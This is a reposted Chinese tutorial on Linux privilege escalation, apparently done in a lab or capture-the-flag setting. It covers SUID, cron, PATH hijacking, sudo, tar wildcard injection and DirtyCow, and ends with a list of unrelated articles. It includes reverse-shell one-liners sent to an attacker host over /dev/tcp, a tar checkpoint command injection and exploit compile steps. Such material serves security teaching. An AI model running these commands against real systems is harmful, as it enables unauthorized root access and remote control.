Linux提权!!!

上一篇文章讲了Windows的提权,那么这篇文章就来讲一下Linux的提权

1.SUID提权

suid权限

作用:让普通用户临时拥有该文件的属主的执行权限,suid权限只能应用在二进制可执行文件(命令)上,而且suid权限只能设置在属主位置上。

举个栗子,正常来说,我们普通用户去查看shadow文件肯定是看不了的

正常来说肯定是没有权限,如果管理员的错误配置,给了cat一个suid权限

导致了普通的用户也能以root身份去执行cat命令!!!(是不是和suid有点相似)!!

对于以下命令都是不能给suid权限的!!!

那么我们就从黑客的视角来试一下提权

先用以下的命令来查看一下有没有错误的配置

 find / -user root -perm -4000 -print 2>/dev/null

成功发现了一个find的错误的配置

于是就可以尝试反弹shell了直接

 先去开启一个nc监听

然后直接敲以下的命令,就能成功弹shell

find /etc/passwd  -exec   bash -c   " bash -i   >&  /dev/tcp/"VPS的ip"/"VPS的端口"   0>&1"  \;

2.计划任务提权

在Linux系统中,当我们需要在服务器上定时执行一些重复性的事件时使用的,可以通过Linux计划任务程序来运行准备好的脚本、批处理文件夹、程序或命令,在某个特定的时间运行。

计划任务在Linux 中一般使用 Crontab,通过 crontab 命令,我们可以在固定的间隔时间执行指定的系统指令或 Shell 脚本。

所以,假设我是一个运维人员,如果我想写一个脚本

#!/bin/bash
//我是逆天运维人员

写一个运维脚本 

然后"不小心的chmod 777 了" 很多我身边的人都是直接chmod 777 的!!

 并且配置了计划任务

那么下面,我们就用黑客视角来看看!!

先是是去查看一下计划任务!!!

 cat   /etc/crontab

发现有一个逆天运维人员配置了一个计划任务 

于是再去查看一下它的权限

看到这个就知道我们可以去弹shell了!!!

echo   "bash -i    >&   /dev/tcp/192.168.246.1/9191   0>&1  "   >> damn.sh

然后监听,静待上线

看!!!直接提权(或者说弹了一个root身份的shell出来)

3.环境变量劫持 

PATH是Linux和类Unix操作系统中的环境变量,类似Windows中的path环境变量,当我们执行一个命令的时候,shell会先去检查命令是否为系统内部的命令,如果不是则会再去检查此命令是否是一个应用程序,shell会试着从PATH中逐步的查找命令

其实这个感觉有点像SUID,但是也不完全像,??why ? 继续往下看

假设我是一个逆天运维人员,我想要去连续多次运行一些命令,但是又很长,那么我就将他变成一个exe,每当我运行这个exe,就是在执行我这个命令

然后编译成shell可执行文件

然后当我执行shell的时候,就是直接在运行cat    /etc/passwd 

 然后如果又不小心地给他设置了SUID

那么我们就可以环境变量劫持,下面,就是精彩的开始!!!

我们的思路试能不能劫持它的cat变量,因为它的的cat是以system去执行的!!而我们的环境变量cat又可以自己定义,就导致了环境变量的劫持

黑客视角开始::!!!!

假如我是一个黑客,本来想着要suid提权,但是误打误撞,发现了一个不知道什么玩意

(请忽略我的find的suid位)那么我们就去试一下shell是个什么东西

发现,好好好,就你这个逆天运维,直接给我运行了cat  /etc/passwd对吧

然后我们再去看一下权限??? !!!!! suid位!!!!

就可以去考虑提权了,下面,才是精彩开始!!!!!!

首先,我们去tmp目录下写一个环境变量

cd /tmp

然后敲以下的代码

echo  "/bin/bash"  >/tmp/cat

 并且去将这个文件创建为一个新的环境变量

export PATH=/tmp:$PATH

然后我们就能看见一个新的环境变量

然后,从现在开始,只要我执行cat命令,就是在执行bash!!!然后,我们cd到根目录下

执行shell,这里不能再去用cat查看shadow文件噢!!! 因为cat已经被替换了!!

至此,就已经完成了Linux的提权 !! ??不信,非要我弹shell是吧

那行,必须满足,嘻嘻嘻嘻

4.sudo滥用

开始之前,先去敲一下这个命令

sudo -l

如果你能看见这样的界面,说明管理员很棒棒,配置的不错

如果是这样,那你还是换一个用户吧          

好了,不开玩笑了,说一下sudo滥用吧

其中,我们看见的格式如下

所以就能明白一些错误配置的意思了

这个就是losy这个身份允许被root用户去执行python3

那么怎么查看对应的配置呢?

cat  /etc/sudoers   /这里可以进行配置

那么什么命令不能给sudo呢??这些命令给了就能提权还有tar.....

怎么提权呢

那么假设有这样的一个逆天环境

我们就能看见是所有人都可以用root权限去没有密码的执行sudo下的awk

直接提权!!!

5.WS通配符注入提权

在Linux中,通配符可以被用于模糊匹配,并且通配符的输入是由当前用户的shell去进行解析

*  表示匹配任意数量的字符

?表示匹配单个数量的字符

[]  表示匹配括号中的任意单个字符,并且可以使用字符-来表示范围,如[0-9]

有点云里雾里??? 没事。我们来举个栗子

touch   1.txt 2.txt 3.txt  a.txt ab.txt abc.txt

然后我们就能看见这样的文件!!!

然后,我们分别来演示一下以上提到的东西,应该很浅显易懂吧!!!!

下面,就是精彩的开始   我们先来看这样的命令

ls --help

正常来说是不是就会显示一些ls的帮助用法,那如果我们这样呢???

echo  "whoami@127.0.0.1" > --help
ls --help    ///????????

那么这样,bug是不是就要出来了!!!!到底是显示我们刚才创建的内容,还是正常的显示help内容呢 ???   嘻嘻嘻是,是不是感觉cpu开始转起来了 我们来看一下事实情况

它最后还是显示了help的系统设置,那么我们再来看这样的命令

ls *

这个的意思是不是就是查看当前文件夹的所有东西!!!但是如果是上面的情况呢??

ls 1.txt 2.txt 3.txt a.txt ab.txt abc.txt  --help   //等价于 ls *

是不是bug就出现了

所以相信聪明的各位已经大概懂了是什么意思了吧!!! 

那么下面我们就来举一个例子了!!!

tar   -czf  1.tgz  1.txt --checkpoint=1 --checkpoint-action=exec=whoami

这一条命令是用于打包的,并且是可以执行命令的(所以这个的suid和sudo都不能给)

那么假设有这样的一个场景,有些管理员想要将/var/www/html目录下的源代码进行打包。那么就是如下的命令

tar -czf  sourcecode.tgz  sourcecode.txt

 这样就能将源代码进行备份,防止源代码被串改,然后写了个计划任务,每分钟备份一次

*/1  *  *  *  * root   tar -czf /home/wanli/source.tgz   /var/www/html/ *

写了这样的一个计划任务,那么我们黑客在查看的时候发现了,于是就能通配符提权!!

但是呢,我只能说,这个命令是有问题的,如果你再本地直接运行,那没问题,肯定是能弹shell出去的

但是如果你用的是计划任务的话,你就会发现,它的计划任务执行了,但是并没有弹shell出来

而且在新版的Linux系统上,你直接创建--check-action=exec这样的文件也是会被引起来的,直接失效了,所以这个方法,ennnnn,不好评价

6.明文ROOT密码提权

如果我们能读到shadow文件,那么我们就可能有机会能爆破出密码

假设我们能读到shadow这个文件

$后面就是它的加密方式

然后你找对应的爆破工具用就好(不知道为什么我的join用不了,难崩了)

7.Linux内核提权

说了这么多的错误配置,怎么可能少得了内核提权呢??? 主要是因为配置的话,有一定的限制条件,但是内核的话就不用考虑了,直接提权!!!

1.DirtyCow(CVE-2016-5195)

存在Linux内核中已经有长达9年的时间,在2007年发布的Linux内核版本中就已经存在此漏洞。Linux kernel团队在2016年10月18日已经对此进行了修复。

对于以下的版本都会有影响

即低于以下内核版本均存在该漏洞:

Centos7 /RHEL7 3.10.0-327.36.3.el7

Cetnos6/RHEL6 2.6.32-642.6.2.el6

Ubuntu 16.10 4.8.0-26.28

Ubuntu 16.04 4.4.0-45.66

Ubuntu 14.04 3.13.0-100.147

Debian 8 3.16.36-1+deb8u2

Debian 7 3.2.82-1

其实这个漏洞的原理,就是通过内核溢出,将原本不可以读或者写的文件进行覆写(如将shadow文件进行覆写,导致我们可以进行root登录)

那么,下面我们就来复现一下这个漏洞

首先,我们能拿到这样的一个站点

然后发现它的框架存在漏洞,于是就去msf利用一波

成功拿到meterpreter之后,就要去查看权限了

很好,权限很低,而且能判断出来不是docker环境

所以我们就要去提权

upload '/home/kali/Desktop/linux-exploit-suggester.sh' 

先上传一个检测工具来检测一下!!!!

chmod 777 rm -rf linux-exploit-suggester.sh     //记得放权
./linux-exploit-suggester.sh

然后是能检测出一个脏牛漏洞,于是开始提权 

先把脏牛的poc传上去

然后解压,放权,一气呵成

unzip CVE-2016-5195-master.zip  
chmod  777 CVE-2016-5195-master

然后记得编译

g++  -Wall -pedantic  -O2 -std=c++11  -pthread   -o  dcow  dcow.cpp  -lutil

然后直接运行就好

ssh上去,就能拿到flag了!!!

所以最后总结一下,脏牛的原理就是

该漏洞具体为,Linux内核的内存子系统在处理写入复制(copy-on-write, COW)时产生了竞争条件(race condition)。恶意用户可利用此漏洞,来获取高权限,对只读内存映射进行写访问。竞争条件,指的是任务执行顺序异常,可导致应用崩溃,或令攻击者有机可乘,进一步执行其他代码。利用这一漏洞,攻击者可在其目标系统提升权限,甚至可能获得root权限。

对于内核提权,还有很多,如果不知道??

1.可以上传工具去扫

2.还可以这样,先uname -a  查看一下内核版本

然后把对应的斑斑贴上去就好(记得前面加一个linux)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/296908.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Vue依赖注入,详细解析

Prop 逐级透传问题​ 通常情况下,当我们需要从父组件向子组件传递数据时,会使用 props。想象一下这样的结构:有一些多层级嵌套的组件,形成了一颗巨大的组件树,而某个深层的子组件需要一个较远的祖先组件中的部分数据。…

优先队列c++

内容&#xff1a; priority_quene是一个优先队列&#xff0c;优先级别高的先入队&#xff0c;默认最大值优先 因此出队和入队的时间复杂度均为O&#xff08;logn&#xff09;,也可以自定义优先级 头文件<quene> 函数&#xff1a; 构建优先队列 priority_queue<in…

Pycharm+Neo4j红楼梦人物关系图谱

欢迎来到我的主页~【蜡笔小新..】 本篇收录于专栏【Python】 如果对你有帮助&#xff0c;希望点赞收藏加关注啦~ 目录 前言 neo4j基础知识 Pycharm及代码实现 py2neo 数据集获取 代码介绍 前言 Python实验课时&#xff0c;老师提到用知识图谱构建红楼梦的人物关系图&…

Vue.js基础指令

(在讲指令之前,可以先了解插值表达式,如果已经知道,当我没说) 一.插值表达式 1.数据绑定最常见的形式就是双大括号的文本插值,Mustache上属性的值替代。只要绑定的数据对象上属性发生了改变,插值处的内容都会更新。,message 是将数据解析成纯文本的,也就是说,就算中…

Linux之进程间通信

1.进程间通信的目的 数据传输&#xff1a;一个进程需要将它的数据发送给另一个进程 资源共享&#xff1a;多个进程之间共享同样的资源。 通知事件&#xff1a;一个进程需要向另一个或一组进程发送消息&#xff0c;通知它&#xff08;它们&#xff09;发生了某种事件&#xff…

FressRTOS_day4:2024/4/4

1.总结二进制信号量和计数型信号量的区别&#xff0c;以及他们的使用场景。 二进制信号量的数值只有0和1。&#xff08;用于共享资源的访问&#xff09;&#xff1b;而计数型信号量的值一般是大于或者等于2&#xff08;用于生产者和消费者模型&#xff09; 2.使用计数型信号量…

【linux】进程替换的应用|shell解释器的实现

当我们学过了进程替换之后&#xff0c;本篇文章可以根据进程替换的知识带你自主实现一个shell命令行 实现步骤 1.显示命令行提示 2.读取输入指令以及对应选项 3.分割第二步的指令以及选项到命令行参数表中 4.处理内建命令 5.进程替换 1.显示命令行提示 我们通过观察bash的命令行…

计算机网络:局域网的数据链路层

✨✨ 欢迎大家来访Srlua的博文&#xff08;づ&#xffe3;3&#xffe3;&#xff09;づ╭❤&#xff5e;✨✨ &#x1f31f;&#x1f31f; 欢迎各位亲爱的读者&#xff0c;感谢你们抽出宝贵的时间来阅读我的文章。 我是Srlua小谢&#xff0c;在这里我会分享我的知识和经验。&am…

Java基础 - 代码练习

第一题&#xff1a;集合的运用&#xff08;幸存者&#xff09; public class demo1 {public static void main(String[] args) {ArrayList<Integer> array new ArrayList<>(); //一百个囚犯存放在array集合中Random r new Random();for (int i 0; i < 100; …

红黑树的性质与操作:吸收红结点及其对树结构的影响

红黑树的性质与操作&#xff1a;吸收红结点及其对树结构的影响 1.红黑树的基本性质2.吸收红结点的过程2.1黑色结点的度2.2 叶结点深度 3.伪代码实现4. C语言代码实现5. 结论 红黑树作为一种高效的自平衡二叉搜索树&#xff0c;在计算机科学中扮演着重要的角色。它通过一系列复杂…

开源软件技术社区方案

开源软件技术社区是一个由开发者、贡献者、用户和维护者组成的共享平台&#xff0c;主要目的是打造技术、软件产品良性互动、开源技术安全可控的软件生态环境&#xff0c;实现可复用应用或服务的快速部署与使用、完成资源与能力的高度共享、促进社区成员的共建共赢&#xff0c;…

电池二次利用走向可持续大循环周期的潜力和挑战(第一篇)

一、背景 当前&#xff0c;气候变化是全球可持续发展面临的重大挑战。缓解气候变化最具挑战性的目标是在本世纪中期实现碳中和&#xff08;排放量低到足以被自然系统安全吸收&#xff09;&#xff0c;其中电动汽车&#xff08;EV&#xff09;的引入是一项关键举措。电动汽车在…

CSS3新增的语法(三)【2D,3D,过渡,动画】

CSS3新增的语法&#xff08;三&#xff09;【2D,3D,过渡&#xff0c;动画】 10.2D变换10.1. 2D位移10.2. 2D缩放10.3. 2D旋转10.4. 2D扭曲&#xff08;了解&#xff09;10.5. 多重变换10.6. 变换原点 11. 3D变换11.1. 开启3D空间11.2. 设置景深11.3. 透视点位置11.4. 3D 位移11…

为 AI 而生的编程语言「GitHub 热点速览」

Mojo 是一种面向 AI 开发者的新型编程语言。它致力于将 Python 的简洁语法和 C 语言的高性能相结合&#xff0c;以填补研究和生产应用之间的差距。Mojo 自去年 5 月发布后&#xff0c;终于又有动作了。最近&#xff0c;Mojo 的标准库核心模块已在 GitHub 上开源&#xff0c;采用…

【Spring】使用@Bean和@Import注解配置Bean,与Bean的实例化

目录 1、bean是什么 2、配置bean 2.1、使用Bean注解配置Bean 2.2、使用Import注解配置Bean 3、实例化Bean 1、bean是什么 在 Spring 中&#xff0c;Bean 是指由 Spring 容器管理的对象。Spring IOC 容器负责创建、配置和管理这些 Bean 对象的生命周期。Spring IOC 容器会管…

链表之单链表

上一篇博客我们学习了线性表中的顺序表&#xff0c;这一篇博客让我们继续往下了解线性表的链表&#xff0c;链表分为好几种结构&#xff0c;活不多说&#xff0c;让我们开始学习吧&#xff01; 目录 1.链表 2.链表的结构 3.单链表的实现 1.链表 1.概念&#xff1a;它是一种物…

Folder Icons for Mac v1.8 激活版文件夹个性化图标修改软件

Folder Icons for Mac是一款Mac OS平台上的文件夹图标修改软件&#xff0c;同时也是一款非常有意思的系统美化软件。这款软件的主要功能是可以将Mac的默认文件夹图标更改为非常漂亮有趣的个性化图标。 软件下载&#xff1a;Folder Icons for Mac v1.8 激活版 以下是这款软件的一…

【2024系统架构设计】案例分析- 5 Web应用

目录 一 基础知识 二 真题 一 基础知识 1 Web应用技术分类 大型网站系统架构的演化:高性能、高可用、可维护、应变、安全。 从架构来看:MVC,MVP,MVVM,REST,Webservice,微服务。

Spark-Scala语言实战(11)

在之前的文章中&#xff0c;我们学习了如何在spark中使用RDD中的cartesian,subtract最终两种方法。想了解的朋友可以查看这篇文章。同时&#xff0c;希望我的文章能帮助到你&#xff0c;如果觉得我的文章写的不错&#xff0c;请留下你宝贵的点赞&#xff0c;谢谢。 Spark-Scal…

数据结构进阶篇 之 【交换排序】(冒泡排序,快速排序递归、非递归实现)

当你觉的自己不行时&#xff0c;你就走到斑马线上&#xff0c;这样你就会成为一个行人 一、交换排序 1.冒泡排序 BubbleSort 1.1 基本思想 1.2 实现原理 1.3 代码实现 1.4 冒泡排序的特性总结 2.快速排序 QuickSort 2.1 基本思想 2.2 递归实现 2.2.1 hoare版 2.2.2 …